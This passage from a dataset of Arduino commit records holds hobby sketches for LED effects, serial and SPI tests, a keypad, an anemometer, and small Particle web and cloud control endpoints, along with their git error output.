19:\n force1();\n break;\n case 20:\n force2();\n break;\n case 21:\n strongam();\n break;\n case 22:\n try_not();\n break;\n case 23:\n mainthemeshort();\n break;\n case 24:\n c3po();\n break;\n case 25:\n helpme();\n break;\n case 26:\n r2d2_1();\n break;\n case 27:\n r2d2_2();\n break;\n case 28:\n roar();\n break;\n case 29:\n stuck_up();\n break;\n case 30:\n thankme();\n break; \n }\n }\n else {\n steady();\n }\n delay(100);\n\n \/\/colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n \/\/colorWipe(strip.Color(0, 255, 0), 50); \/\/ Green\n \/\/clearRing();\n \/\/strip.show();\n \/\/delay(1000);\n \/\/clearColor(0,0,0,35);\n \/\/rainbow(20);\n \/\/rainbowCycle(20);\n}\n\nvoid steady() {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, strip.Color(0, 0, 255));\n }\n strip.show();\n}\n\nvoid bidding() {\n \/\/1\n colorPulse(0, 255, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid breath() {\n \/\/2\n colorPulse(0, 255, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100); \n}\n\nvoid darkside() {\n \/\/3\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid DarthLsbr() {\n \/\/4\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid dontfail() {\n \/\/5\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid failed() {\n \/\/6\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid father() {\n \/\/7\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid haveyou() {\n \/\/8\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid noescape() {\n \/\/9\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid power() {\n \/\/10\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid theforce() {\n \/\/11\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid vader() {\n \/\/12\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid waiting() {\n \/\/13\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid imperial() {\n \/\/14\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid impossible() {\n \/\/15\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid LukeLsbr() {\n \/\/16\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid yoda() {\n \/\/17\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid disturb() {\n \/\/18\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid force1() {\n \/\/19\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid force2() {\n \/\/20\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid strongam() {\n \/\/21\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid try_not() {\n \/\/22\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid mainthemeshort() {\n \/\/23\n colorPulse(255, 255, 5, 100, 1100);\n clearRing();\n strip.show();\n delay(100); \n}\n\nvoid c3po() {\n \/\/24\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid helpme() {\n \/\/25\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid r2d2_1() {\n \/\/26\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid r2d2_2() {\n \/\/27\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid roar() {\n \/\/28\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid stuck_up() {\n \/\/29\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid thankme() {\n \/\/30\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid rainbow(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n\nvoid colorPulse(int r, int g, int b, uint16_t wait, uint16_t waitExtra) {\n clearRing();\n strip.show();\n delay(wait);\n for(int i=NUM_LEDS-1;i>=0;i--) {\n strip.setPixelColor(i, strip.Color(r\/4, g\/4, b\/4));\n strip.show();\n }\n delay(wait);\n for(int i=NUM_LEDS-1;i>=0;i--) {\n strip.setPixelColor(i, strip.Color(r\/3, g\/3, b\/3));\n strip.show();\n }\n delay(wait);\n for(int i=NUM_LEDS-1;i>=0;i--) {\n strip.setPixelColor(i, strip.Color(r\/2, g\/2, b\/2));\n strip.show();\n }\n delay(wait);\n for(int i=NUM_LEDS-1;i>=0;i--) {\n strip.setPixelColor(i, strip.Color(r, g, b));\n strip.show();\n }\n delay(waitExtra*15);\n for(int i=NUM_LEDS-1;i>=0;i--) {\n strip.setPixelColor(i, strip.Color(r\/2, g\/2, b\/2));\n strip.show();\n }\n delay(wait);\n for(int i=NUM_LEDS-1;i>=0;i--) {\n strip.setPixelColor(i, strip.Color(r\/3, g\/3, b\/3));\n strip.show();\n }\n delay(wait);\n for(int i=NUM_LEDS-1;i>=0;i--) {\n strip.setPixelColor(i, strip.Color(r\/4, g\/4, b\/4));\n strip.show();\n }\n delay(wait);\n}\n\nvoid clearRing(){\n for(int i=0;i<NUM_LEDS;i++){\n strip.setPixelColor(i, strip.Color(0, 0, 0)); \/\/change RGB color value here\n }\n}\n\nvoid clearColor(int r, int g, int b, uint8_t wait) {\n for(int i=NUM_LEDS-1;i>=0;i--){\n strip.setPixelColor(i, strip.Color(r, g, b)); \/\/change RGB color value here\n strip.show();\n delay(wait);\n }\n}\n\nvoid blink(int numberOfTimes){\n for (int i = 0; i < numberOfTimes; i++) {\n digitalWrite(ledPin, HIGH);\n delay(1000);\n digitalWrite(ledPin, LOW);\n delay(1000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rand-test\/rand-test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2b9fef3a2e7bfc0ef57818581449cb96eb1e605a","subject":"Create Example_2.ino","message":"Create Example_2.ino","repos":"ControlEverythingCom\/ncd_gateway,ControlEverythingCom\/ncd_gateway","old_file":"firmware\/Example_2.ino","new_file":"firmware\/Example_2.ino","new_contents":"\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"ncd_gateway.h\"\n\n\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"i2c_comm.h\"\n\n\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"S3B.h\"\n\nSYSTEM_THREAD(ENABLED);\n\nS3B module;\n\nbyte S3BAddress[7][8] = {{0x00, 0x13, 0xA2, 0x00, 0x41, 0x02, 0x20, 0xD8}, \n {0x00, 0x13, 0xA2, 0x00, 0x41, 0x02, 0x20, 0x43}, \n {0x00, 0x13, 0xA2, 0x00, 0x40, 0xF2, 0x74, 0x79}, \n {0x00, 0x13, 0xA2, 0x00, 0x41, 0x02, 0x20, 0xD8}, \n {0x00, 0x13, 0xA2, 0x00, 0x41, 0x02, 0x20, 0xD8}, \n {0x00, 0x13, 0xA2, 0x00, 0x41, 0x02, 0x20, 0xD8},\n {0x00, 0x13, 0xA2, 0x00, 0x41, 0x02, 0x20, 0xD8}};\n \nint relayStatus = 0;\n\nvoid setup() {\n Particle.function(\"deviceComm\", gatewayCommand);\n Serial1.begin(115200);\n Wire.begin();\n \n String initCommands = \"i2c,32,write,0,0|6,0\";\n\tbyte initCommandBytes[initCommands.length()+1];\n\tinitCommands.getBytes(initCommandBytes, initCommands.length()+1);\n module.transmit(S3BAddress[0], initCommandBytes, initCommands.length());\n}\n\nvoid loop() {\n \/\/Receive S3B data\n if(Serial1.available()!=0){\n Serial.println(\"Got a command\");\n byte startDelimiter = Serial1.read();\n if(startDelimiter == 0x7E){\n unsigned long startTime = millis();\n while(Serial1.available() < 2 && millis() <= tOut+startTime);\n if(Serial1.available() < 2){\n Serial.println(\"Timeout\");\n return;\n }\n byte lenMSB = Serial1.read();\n byte lenLSB = Serial1.read();\n int newDataLength = (lenMSB*256)+lenLSB;\n while(Serial1.available() < newDataLength+1 && millis() <= tOut+startTime);\n if(Serial1.available() < newDataLength+1){\n Serial.println(\"Timeout2\");\n Serial.printf(\"Serial1.available(): %i, expected %i \\n\", Serial1.available(), newDataLength+1);\n return;\n }\n \/\/We have all our data.\n byte newData[newDataLength+4];\n newData[0] = startDelimiter;\n newData[1] = lenMSB;\n newData[2] = lenLSB;\n for(int i = 3; i < newDataLength+4; i++){\n newData[i] = Serial1.read();\n }\n \/\/validate data\n if(!module.validateReceivedData(newData, newDataLength+4)){\n Serial.println(\"Invalid Data\");\n return;\n }\n \/\/get length of new data\n int receivedDataLength = module.getReceiveDataLength(newData);\n char receivedData[receivedDataLength];\n int validDataCount = module.parseReceive(newData, receivedData, newDataLength+4);\n if(validDataCount == receivedDataLength){\n\n }\n String stringCommand = String(receivedData);\n gatewayCommand(stringCommand);\n }else{\n Serial.printf(\"First byte not valid, it was: 0x%x \\n\", startDelimiter);\n }\n }\n}\n\n\/\/Command format\n\/\/I2CAddress,cmd1|,cmd2|cmd3\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/Example_2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a0012f1032b23dac468b75b7588975bd86bb0cdc","subject":"Updated command 'b' to output zeros if there is not magnetometer. If you don't do this then the FreeIMU GUI will hang.","message":"Updated command 'b' to output zeros if there is not magnetometer. If you don't do this then the FreeIMU GUI will hang.\n","repos":"mjs513\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,tokk250\/FreeIMU-Updates","old_file":"Generic MPU6050\/FreeIMU_serial_temp_303.ino","new_file":"Generic MPU6050\/FreeIMU_serial_temp_303.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Generic' did not match any file(s) known to git\nerror: pathspec 'MPU6050\/FreeIMU_serial_temp_303.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"054315aa7e5aa77ca74e7c227535fa38e3d11c18","subject":"New UART demo sketch; echo at very high baudrate to verify.","message":"New UART demo sketch; echo at very high baudrate to verify.\n","repos":"jeditekunum\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa","old_file":"examples\/UART\/CosaUARTecho\/CosaUARTecho.ino","new_file":"examples\/UART\/CosaUARTecho\/CosaUARTecho.ino","new_contents":"\/**\n * @file CosaUARTecho.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2013-2015, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * @section Description\n * Test Cosa UART ability to read and write at high speed.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n\nvoid setup()\n{\n uart.begin(230400);\n}\n\nvoid loop()\n{\n while (uart.available())\n uart.putchar(uart.getchar());\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/UART\/CosaUARTecho\/CosaUARTecho.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"1e9cef1e89cb14a2b18dd727b730ca67f03c6cf1","subject":"Create keypad_test.ino","message":"Create keypad_test.ino","repos":"SorX14\/ADP5589_Arduino","old_file":"firmware\/examples\/keypad_test\/keypad_test.ino","new_file":"firmware\/examples\/keypad_test\/keypad_test.ino","new_contents":"\n\/* keypad_test.inohttps:\/\/github.com\/SorX14\/ADP5589_Arduino\/tree\/master\/examples\/keypad_test\n * April 10, 2016 Dean Miller\n * MIT license\n * \n * use with ADP5589 keypad controller library: \n * https:\/\/github.com\/deanm1278\/ADP5589_Arduino\n * \n * ADP5589 Datasheet: \n * http:\/\/www.analog.com\/media\/en\/technical-documentation\/data-sheets\/ADP5589.pdf\n * \n * plz note this is a 3.3V device\n * \n * This example uses an ADP5589 keypad controller with switches\n * attached to (row , col)\n * 0 , 0\n * 0 , 1\n * 1 , 0\n * 1 , 1\n * \n * There are LEDs attached to GPIOs 5,6,7,8 on the ADP5589.\n * \n * A callback is attached to switch 0, 1 that blinks the LED\n * when a rising edge is detected.\n * \n *\/\n\n#include \"ADP5589.h\"\n\n\/\/declare how may leds we will use\n#define NUMLEDS 4\n\n\/\/declare which gpios will be used as LEDs on the keypad\nuint8_t ledPins[] = {5,6,7,8};\n\n\/\/declare the keypad\nADP5589 keypad = ADP5589();\n\n\/\/this will be used as a callback\nint blinkLed(void);\n\nvoid setup() {\n Serial.begin(9600);\n \n \/\/set up the keypad\n keypad.begin();\n\n \/\/create a 2x2 matrix using rows 0 and 1, and columns 0 and 1\n keypad.activateRow(0);\n keypad.activateRow(1);\n\n keypad.activateColumn(0);\n keypad.activateColumn(1);\n\n \/* \n * register a callback on button in row 0 col 1 for when a rising edge\n * is detected. Callbacks must be registered AFTER the active rows and columns\n * are declared.\n *\/\n keypad.registerCallback(0, 1, blinkLed, ADP5589_RISING);\n \n \/\/set GPIO pins as outputs and do a thing to show we're on\n for(int i = 0; i<NUMLEDS; i++){\n keypad.gpioSetDirection(ledPins[i], ADP5589_OUTPUT);\n keypad.gpioWrite(ledPins[i], HIGH);\n delay(50);\n }\n for(int i=0; i<NUMLEDS; i++){\n keypad.gpioWrite(ledPins[i], LOW);\n delay(50);\n }\n}\n\nvoid loop() {\n \/\/update the keypad. This will automatically call all triggered callbacks\n keypad.update();\n\n \/\/delay in between updates\n delay(30);\n}\n\n\/\/callback definition\nint blinkLed(int evt){\n Serial.print(\"callback called! event number \");\n Serial.println(evt);\n\n \/\/turn LED on\n keypad.gpioWrite(5, HIGH);\n delay(100);\n \/\/turn LED off\n keypad.gpioWrite(5, LOW);\n\n return 0;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/keypad_test\/keypad_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d241c1b8b9230f90ec28c75dd19bb969be8a8b62","subject":"so close","message":"so close\n","repos":"Au1st3in\/fall2015-e121-arduino-code,Au1st3in\/fall2015-e121-arduino-code","old_file":"robot_main\/robot_main.ino","new_file":"robot_main\/robot_main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Au1st3in\/fall2015-e121-arduino-code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cbfd0f1de88e495e9805f42a3c3b1f7ccc7d5f68","subject":"Added Sparkcore (Partcle) Code","message":"Added Sparkcore (Partcle) Code\n","repos":"MunazR\/meetr-server,MunazR\/meetr-server","old_file":"particle\/sparkcore_meetr.ino","new_file":"particle\/sparkcore_meetr.ino","new_contents":"\/\/ -----------------------------------\n\/\/ Endpoint for IFTTT\n\/\/ Made for Meetr\n\/\/ DeltaHacksII\n\/\/ -----------------------------------\n\n\/\/ Servo library\nServo myservo;\n\nint led1 = D1;\nint led2 = D4;\nint pos = 0; \n\nvoid setup()\n{\n \/\/ Pin configuration\n pinMode(led1, OUTPUT);\n pinMode(led2, OUTPUT);\n\n \/\/ Declare Cloud Function\n Spark.function(\"doorLock\",ledToggle);\n \n \/\/ Attach servo to D0\n myservo.attach(A0); \n \n \/\/ Init LEDS\n digitalWrite(led1, LOW);\n digitalWrite(led2, LOW);\n\n}\n\nvoid loop()\n{\n \/\/ Nothing to do here\n}\n\n\nint ledToggle(String command) {\n if (command==\"unlock\") {\n digitalWrite(led1,HIGH);\n delay(250);\n digitalWrite(led1,LOW);\n delay(250);\n digitalWrite(led1,HIGH);\n delay(250);\n digitalWrite(led1,LOW);\n delay(250);\n digitalWrite(led1,HIGH);\n delay(5000);\n digitalWrite(led1,LOW);\n return 1;\n } else if(command==\"lock\"){\n digitalWrite(led2,HIGH);\n delay(250);\n digitalWrite(led2,LOW);\n delay(250);\n digitalWrite(led2,HIGH);\n delay(250);\n digitalWrite(led2,LOW);\n delay(250);\n digitalWrite(led2,HIGH);\n delay(5000);\n digitalWrite(led2,LOW);\n return 0;\n }\n else {\n return -1;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'particle\/sparkcore_meetr.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a9880861f0285ff6485cb0009b78fbbaaccae475","subject":"Heat reset feedback.","message":"Heat reset feedback.\n","repos":"VaSe7u\/Music_LED_strip,VaSe7u\/Music_LED_strip","old_file":"src\/Music_LED_strip\/Music_LED_strip.ino","new_file":"src\/Music_LED_strip\/Music_LED_strip.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/VaSe7u\/Music_LED_strip.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1c959f0905dd3c9099a3014164afadd0d02baf54","subject":"Create spark-http-server.ino","message":"Create spark-http-server.ino","repos":"hpssjellis\/spark-core-socket-client-or-server","old_file":"spark-http-server.ino","new_file":"spark-http-server.ino","new_contents":"\n\nTCPServer server = TCPServer(80);\nTCPClient client;\n\nchar addr[16];\nchar myInput[30];\nchar myIncoming;\nint myLoop1;\nString myInStr;\n\n\nvoid setup()\n{\n \n pinMode(D7, OUTPUT);\n digitalWrite(D7, HIGH); \n delay(1000);\n digitalWrite(D7, LOW); \n delay(1000); \n digitalWrite(D7, HIGH); \n delay(1000);\n digitalWrite(D7, LOW); \n delay(1000); \n delay(1000);\n delay(1000); \/\/ give a few seconds to reflash the core if it gets unresponsive on startup\n digitalWrite(D7, HIGH); \n delay(300);\n digitalWrite(D7, LOW); \n \n \n server.begin();\n IPAddress localIP = WiFi.localIP();\n sprintf(addr, \"%u.%u.%u.%u\", localIP[0], localIP[1], localIP[2], localIP[3]);\n Spark.variable(\"Address\", addr, STRING);\n Spark.variable(\"myIn\", myInput, STRING); \n Spark.variable(\"myLoop1\", &myLoop1, INT);\n}\n\n\nvoid loop() {\n \/\/ listen for incoming clients\n client = server.available();\n if (client) {\n\n \n myLoop1 = 0;\n myInput[0] = '\\0';\n\n boolean currentLineIsBlank = true;\n while (client.connected()) {\n \n\n if (client.available()) {\n\n\n\n \n myIncoming = client.read(); \/\/ read from the http request\n\n if (myLoop1 < 29 ){ \/\/ http request should be much longer than 29 characters!\n myInput[myLoop1] = myIncoming; \/\/ put the character into an array\n \n } else { \/\/ read enough information from the http request\n \n myInput[myLoop1] = '\\0'; \/\/ helps make a char array compatible with a string.\n \n myInStr = myInput;\n myInStr.toUpperCase();\n \n if (myInStr.indexOf(\"D7-ON\") >= 0){ digitalWrite(D7, HIGH); } \n if (myInStr.indexOf(\"D7-OFF\") >= 0){ digitalWrite(D7, LOW); } \n \n\n \n }\n \n myLoop1++;\n \n \n \n \n if (myIncoming == '\\n' && currentLineIsBlank) {\n\n \n \/\/client.println(\"<H1>Hello World.<\/h1>\"); \/\/ use for debugging to check if http request can get returned\n \n \n delay(1);\n break;\n }\n if (myIncoming == '\\n') { \/\/ you're starting a new line\n currentLineIsBlank = true;\n }\n else if (myIncoming != '\\r') { \/\/ you've gotten a character on the current line\n currentLineIsBlank = false;\n }\n \n\n }\n }\n \/\/ give the web browser time to receive the data\n delay(1);\n }\n client.flush();\n client.stop();\n}\n\n\n\n\n\n\n\n\n\n\n\/*\n\nMAKE THIS HTML PAGE TO COMMUNICATE WITH YOUR CORE\n\n\n\n<a target=\"myI\" href=\"https:\/\/api.spark.io\/v1\/devices\/{CORE-ID}\/Address?access_token={ACCESS-TOKEN}\" >Address<\/a><br>\n\n\n<a target=\"myI\" href=\"http:\/\/192.200.1.79?D7-ON\" >D7-ON<\/a>...\n<a target=\"myI\" href=\"http:\/\/192.200.1.79?D7-OFF\" >D7-OFF<\/a><br><br><br>\n\n<iframe name=\"myI\" width=500 height=400><\/iframe>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThe serial printout looks like\n\n192.145.1.65\nGET \/?D7-ON HTTP\/1.1\nHost: 192.145.1.65\nConnection: keep-alive\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,* \/ *;q=0.8\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/41.0.2231.0 Safari\/537.36\nAccept-Encoding: gzip, deflate, sdch\nAccept-Language: en-US,en;q=0.8\n\n\n\n\n*\/\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'spark-http-server.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ee9637c1cb02f467570fecf3e41df8c42221e9b4","subject":"Add master component","message":"Add master component\n","repos":"stanford-ssi\/satellites-teensyMasterSlave,stanford-ssi\/satellites-teensyMasterSlave,stanford-ssi\/satellites-teensyMasterSlave,stanford-ssi\/satellites-teensyMasterSlave","old_file":"master_tx\/SPI_Master_TX_1_0.ino","new_file":"master_tx\/SPI_Master_TX_1_0.ino","new_contents":"#include <SPI.h>\n\n#include <t3spi.h>\n\n\/\/Initialize T3SPI class as SPI_MASTER\nT3SPI SPI_MASTER;\n\n\/\/The number of integers per data packet\n#define dataLength 256\n\n\/\/Initialize the arrays for outgoing data\n\/\/volatile uint8_t data[dataLength] = {}; \nvolatile uint16_t data[dataLength] = {}; \n\n\nvoid setup(){\n \n Serial.begin(115200);\n \n \/\/Begin SPI in MASTER (SCK pin, MOSI pin, MISO pin, CS pin, Active State)\n SPI_MASTER.begin_MASTER(SCK, MOSI, MISO, CS0, CS_ActiveLOW);\n \n \/\/Set the CTAR (CTARn, Frame Size, SPI Mode, Shift Mode, Clock Divider) \n SPI_MASTER.setCTAR(CTAR_0,16,SPI_MODE0,LSB_FIRST,SPI_CLOCK_DIV4);\n \/\/SPI_MASTER.setCTAR(CTAR_0,16,SPI_MODE0,LSB_FIRST,SPI_CLOCK_DIV2);\n \/\/SPI_MASTER.setCTAR(CTAR_0,16,SPI_MODE0,LSB_FIRST,SPI_CLOCK_DIV128);\n \/\/SPI_MASTER.setCTAR(CTAR_1,8,SPI_MODE0,LSB_FIRST,SPI_CLOCK_DIV128);\n \n \/\/Populate data array \n for (int i=0; i<dataLength; i++){\n data[i]=i;}\n\n \/\/Wait for Slave\n delay(5000);\n}\n\nvoid loop(){\n \n \/\/Capture the time before sending data\n SPI_MASTER.timeStamp1 = micros();\n\n \/\/Send n number of data packets\n for (int i=0; i<1; i++) {\n \n \/\/Send data (data array, data array length, CTARn, CS pin)\n \/\/SPI_MASTER.tx8(data, dataLength,CTAR_1,CS0);} \n SPI_MASTER.tx16(data, dataLength,CTAR_1,CS0);}\n \n \/\/Capture the time when transfer is done\n SPI_MASTER.timeStamp2 = micros();\n \n \/\/Print data sent & data received\n for (int i=0; i<dataLength; i++){\n Serial.print(\"data[\");\n Serial.print(i);\n Serial.print(\"]: \");\n Serial.println(data[i]);\n Serial.flush();}\n\n \/\/Print statistics for the previous transfer\n SPI_MASTER.printStatistics(dataLength);\n \n \/\/Reset the packet count \n SPI_MASTER.packetCT=0;\n \n delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'master_tx\/SPI_Master_TX_1_0.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a2c0e931392f6aa671adee3f533ab74df2b3c8b1","subject":"Added code to access windspeed directly ","message":"Added code to access windspeed directly ","repos":"YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS","old_file":"windspeed\/windspeed.ino","new_file":"windspeed\/windspeed.ino","new_contents":"\/\/Found @ http:\/\/arduinotronics.blogspot.fr\/2015\/08\/measuring-wind-speed-with-arduino.html\n\n\n \/\/ diameter of anemometer\n float diameter = 2.75; \/\/inches from center pin to middle of cup\n float mph;\n \n \/\/ read RPM\n int half_revolutions = 0;\n int rpm = 0;\n unsigned long lastmillis = 0;\n \n void setup(){\n Serial.begin(9600); \n pinMode(2, INPUT_PULLUP); \n attachInterrupt(0, rpm_fan, FALLING);\n }\n \n void loop(){\n if (millis() - lastmillis == 1000){ \/\/Update every one second, this will be equal to reading frequency (Hz).\n detachInterrupt(0);\/\/Disable interrupt when calculating\n rpm = half_revolutions * 30; \/\/ Convert frequency to RPM, note: 60 works for one interruption per full rotation. For two interrupts per full rotation use half_revolutions * 30.\n Serial.print(\"RPM =\\t\"); \/\/print the word \"RPM\" and tab.\n Serial.print(rpm); \/\/ print the rpm value.\n Serial.print(\"\\t Hz=\\t\"); \/\/print the word \"Hz\".\n Serial.print(half_revolutions\/2); \/\/print revolutions per second or Hz. And print new line or enter. divide by 2 if 2 interrupts per revolution\n half_revolutions = 0; \/\/ Restart the RPM counter\n lastmillis = millis(); \/\/ Update lastmillis\n attachInterrupt(0, rpm_fan, FALLING); \/\/enable interrupt\n mph = diameter \/ 12 * 3.14 * rpm * 60 \/ 5280;\n mph = mph * 3.5; \/\/ calibration factor for anemometer accuracy, adjust as necessary\n\n Serial.print(\"\\t MPH=\\t\"); \/\/print the word \"MPH\".\n Serial.println(mph);\n }\n }\n \/\/ this code will be executed every time the interrupt 0 (pin2) gets low.\n void rpm_fan(){\n half_revolutions++;\n }\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'windspeed\/windspeed.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"fc064f632e3581bea8a8f23b62ebdc9d58c91c60","subject":"Create memmove8_test.ino","message":"Create memmove8_test.ino","repos":"marmilicious\/FastLED_examples","old_file":"memmove8_test.ino","new_file":"memmove8_test.ino","new_contents":"\/\/***************************************************************\n\/\/ Example of using memmove8 to transfer pixel data around.\n\/\/\n\/\/ The \"temp\" CRGB array is filled with a rainbow and then that\n\/\/ color data is copied to \"leds\" every two seconds, alternating\n\/\/ between a straight copy, and copying sections of temp to\n\/\/ different pixel locations in leds.\n\/\/\n\/\/ Marc Miller, April 2018\n\/\/***************************************************************\n\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define 